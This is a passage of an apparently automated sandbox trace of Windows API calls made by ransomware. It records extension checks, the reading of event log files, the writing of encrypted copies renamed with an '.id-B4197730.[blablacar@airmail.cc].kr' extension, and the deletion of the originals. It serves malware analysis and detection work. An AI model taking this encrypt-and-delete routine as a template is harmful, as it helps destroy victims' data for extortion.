returned 4 [0104.233] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".rar") returned 4 [0104.233] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".bz2") returned 4 [0104.233] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString=".7z") returned 3 [0104.233] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0104.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.233] lstrlenW (lpString=".dbf") returned 4 [0104.233] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0104.233] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.233] lstrlenW (lpString=".1cd") returned 4 [0104.233] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.234] lstrlenW (lpString=".jpg") returned 4 [0104.234] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.234] lstrlenW (lpString=".doc") returned 4 [0104.234] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".docx") returned 5 [0104.234] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0104.234] lstrlenW (lpString=".pdf") returned 4 [0104.234] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".xls") returned 4 [0104.234] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".xlsx") returned 5 [0104.234] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0104.234] lstrlenW (lpString=".ppt") returned 4 [0104.234] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.234] lstrlenW (lpString=".zip") returned 4 [0104.234] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".rar") returned 4 [0104.234] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".bz2") returned 4 [0104.234] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString=".7z") returned 3 [0104.234] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.234] lstrlenW (lpString=".dbf") returned 4 [0104.234] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0104.234] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.235] lstrlenW (lpString=".1cd") returned 4 [0104.235] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0104.235] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0104.235] lstrlenW (lpString=".jpg") returned 4 [0104.235] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0104.235] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0104.235] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0104.235] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.044] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.045] CloseHandle (hObject=0x328) returned 1 [0105.045] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0105.045] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.045] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.045] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.045] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.045] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.046] GetLastError () returned 0x0 [0105.046] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.051] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.054] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.054] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x16c, lpOverlapped=0x0) returned 1 [0105.054] SetEndOfFile (hFile=0x38c) returned 1 [0105.054] CloseHandle (hObject=0x38c) returned 1 [0105.057] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.057] SetEndOfFile (hFile=0x328) returned 1 [0105.059] CloseHandle (hObject=0x328) returned 1 [0105.059] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.059] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0105.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.059] lstrlenW (lpString=".doc") returned 4 [0105.059] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.059] lstrlenW (lpString=".docx") returned 5 [0105.059] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.060] lstrlenW (lpString=".pdf") returned 4 [0105.060] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString=".xls") returned 4 [0105.060] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString=".xlsx") returned 5 [0105.060] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.060] lstrlenW (lpString=".ppt") returned 4 [0105.060] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.060] lstrlenW (lpString=".zip") returned 4 [0105.060] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString=".rar") returned 4 [0105.060] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString=".bz2") returned 4 [0105.060] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString=".7z") returned 3 [0105.060] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.060] lstrlenW (lpString=".dbf") returned 4 [0105.060] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.060] lstrlenW (lpString=".1cd") returned 4 [0105.060] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.060] lstrlenW (lpString=".jpg") returned 4 [0105.060] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.061] lstrlenW (lpString=".doc") returned 4 [0105.061] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".docx") returned 5 [0105.061] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.061] lstrlenW (lpString=".pdf") returned 4 [0105.061] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".xls") returned 4 [0105.061] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".xlsx") returned 5 [0105.061] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.061] lstrlenW (lpString=".ppt") returned 4 [0105.061] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.061] lstrlenW (lpString=".zip") returned 4 [0105.061] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".rar") returned 4 [0105.061] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".bz2") returned 4 [0105.061] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString=".7z") returned 3 [0105.061] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.061] lstrlenW (lpString=".dbf") returned 4 [0105.061] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.061] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.061] lstrlenW (lpString=".1cd") returned 4 [0105.061] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.062] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0105.062] lstrlenW (lpString=".jpg") returned 4 [0105.062] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.062] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.062] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0105.062] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.063] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.063] CloseHandle (hObject=0x328) returned 1 [0105.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0105.063] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.063] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.063] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.063] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.064] GetLastError () returned 0x0 [0105.064] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.067] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.069] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.069] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x146, lpOverlapped=0x0) returned 1 [0105.069] SetEndOfFile (hFile=0x38c) returned 1 [0105.070] CloseHandle (hObject=0x38c) returned 1 [0105.072] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.072] SetEndOfFile (hFile=0x328) returned 1 [0105.073] CloseHandle (hObject=0x328) returned 1 [0105.074] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.074] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0105.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.074] lstrlenW (lpString=".doc") returned 4 [0105.074] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.074] lstrlenW (lpString=".docx") returned 5 [0105.074] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.074] lstrlenW (lpString=".pdf") returned 4 [0105.074] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.074] lstrlenW (lpString=".xls") returned 4 [0105.074] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.074] lstrlenW (lpString=".xlsx") returned 5 [0105.075] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.075] lstrlenW (lpString=".ppt") returned 4 [0105.075] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString=".zip") returned 4 [0105.075] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString=".rar") returned 4 [0105.075] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString=".bz2") returned 4 [0105.075] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString=".7z") returned 3 [0105.075] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString=".dbf") returned 4 [0105.075] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString=".1cd") returned 4 [0105.075] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString=".jpg") returned 4 [0105.075] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.075] lstrlenW (lpString=".doc") returned 4 [0105.075] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.075] lstrlenW (lpString=".docx") returned 5 [0105.076] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.076] lstrlenW (lpString=".pdf") returned 4 [0105.076] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString=".xls") returned 4 [0105.076] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString=".xlsx") returned 5 [0105.076] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.076] lstrlenW (lpString=".ppt") returned 4 [0105.076] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.076] lstrlenW (lpString=".zip") returned 4 [0105.076] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString=".rar") returned 4 [0105.076] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString=".bz2") returned 4 [0105.076] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString=".7z") returned 3 [0105.076] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.076] lstrlenW (lpString=".dbf") returned 4 [0105.076] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.076] lstrlenW (lpString=".1cd") returned 4 [0105.076] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.076] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0105.076] lstrlenW (lpString=".jpg") returned 4 [0105.076] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.077] lstrcmpiW (lpString1=".evtx", lpString2=".kr") returned -1 [0105.077] lstrlenW (lpString="Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 42 [0105.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.077] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x391ff14 | out: lpFileSize=0x391ff14*=69632) returned 1 [0105.077] CloseHandle (hObject=0x328) returned 1 [0105.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 0x20 [0105.077] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0105.077] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0105.077] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.078] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0105.078] GetLastError () returned 0x0 [0105.078] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x11000, lpOverlapped=0x0) returned 1 [0105.335] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x11010, lpOverlapped=0x0) returned 1 [0105.338] ReadFile (in: hFile=0x328, lpBuffer=0x3f02020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x391fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesRead=0x391fecc*=0x0, lpOverlapped=0x0) returned 1 [0105.338] WriteFile (in: hFile=0x38c, lpBuffer=0x3f02020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x391fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f02020*, lpNumberOfBytesWritten=0x391fc94*=0x128, lpOverlapped=0x0) returned 1 [0105.338] SetEndOfFile (hFile=0x38c) returned 1 [0105.338] CloseHandle (hObject=0x38c) returned 1 [0105.342] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x391fec0 | out: lpNewFilePointer=0x0) returned 1 [0105.342] SetEndOfFile (hFile=0x328) returned 1 [0105.343] CloseHandle (hObject=0x328) returned 1 [0105.343] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0105.344] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-wcmsvc%4operational.evtx")) returned 1 [0105.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.344] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.344] lstrlenW (lpString=".doc") returned 4 [0105.344] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0105.344] lstrlenW (lpString=".docx") returned 5 [0105.344] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0105.344] lstrlenW (lpString=".pdf") returned 4 [0105.344] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0105.344] lstrlenW (lpString=".xls") returned 4 [0105.344] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0105.344] lstrlenW (lpString=".xlsx") returned 5 [0105.344] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0105.345] lstrlenW (lpString=".ppt") returned 4 [0105.345] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.345] lstrlenW (lpString=".zip") returned 4 [0105.345] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString=".rar") returned 4 [0105.345] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString=".bz2") returned 4 [0105.345] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString=".7z") returned 3 [0105.345] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.345] lstrlenW (lpString=".dbf") returned 4 [0105.345] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.345] lstrlenW (lpString=".1cd") returned 4 [0105.345] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.345] lstrlenW (lpString=".jpg") returned 4 [0105.345] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 [0105.345] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Wcmsvc%4Operational.evtx") returned 50 